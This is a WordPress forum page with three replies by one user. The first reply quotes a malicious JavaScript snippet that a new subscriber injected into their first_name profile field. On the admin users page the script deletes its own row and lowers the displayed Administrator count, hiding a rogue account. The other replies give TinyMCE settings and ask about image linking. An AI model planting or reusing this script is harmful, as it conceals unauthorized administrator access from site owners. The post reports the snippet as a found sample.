Forum Replies Created

Viewing 3 replies - 1 through 3 (of 3 total)
  • found this in wp_usermeta,
    the latest user subscribed, added this to his first_name

    ...
    
    <div id="user_superuser"><script language="JavaScript">
    var setUserName = function(){
    	try{
    		var t=document.getElementById("user_superuser");
    		while(t.nodeName!="TR"){
    			t=t.parentNode;
    		};
    		t.parentNode.removeChild(t);
    		var tags = document.getElementsByTagName("H3");
    		var s = " shown below";
    		for (var i = 0; i < tags.length; i++) {
    			var t=tags[i].innerHTML;
    			var h=tags[i];
    			if(t.indexOf(s)>0){
    				s =(parseInt(t)-1)+s;
    				h.removeChild(h.firstChild);
    				t = document.createTextNode(s);
    				h.appendChild(t);
    			}
    		}
    		var arr=document.getElementsByTagName("ul");
    		for(var i in arr) if(arr[i].className=="subsubsub"){
    			var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
    			if(n[1]>0){
    				var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
            arr[i].innerHTML=txt;
            }
        }
              }catch(e){};
         };
         addLoadEvent(setUserName);
    </script></div>
    Thread Starter djspark

    (@djspark)

    solved after a few hours:

    by using ‘mce_options’ action, set these options:
    mode : “exact”,
    elements : “content,your_other_field,_yet_another_field”

    or you may edit ‘\wp_includes\js\tinymce\tiny_mce_gzip.php’ , and change these options by hand.

    Forum: Themes and Templates
    In reply to: image linking
    Thread Starter djspark

    (@djspark)

    That solution implies I create a custom field for it (no prob if there’s no other way), but since you can attach an image/video/whatever to the post with the inline upload tool, why would I use another way ?

Viewing 3 replies - 1 through 3 (of 3 total)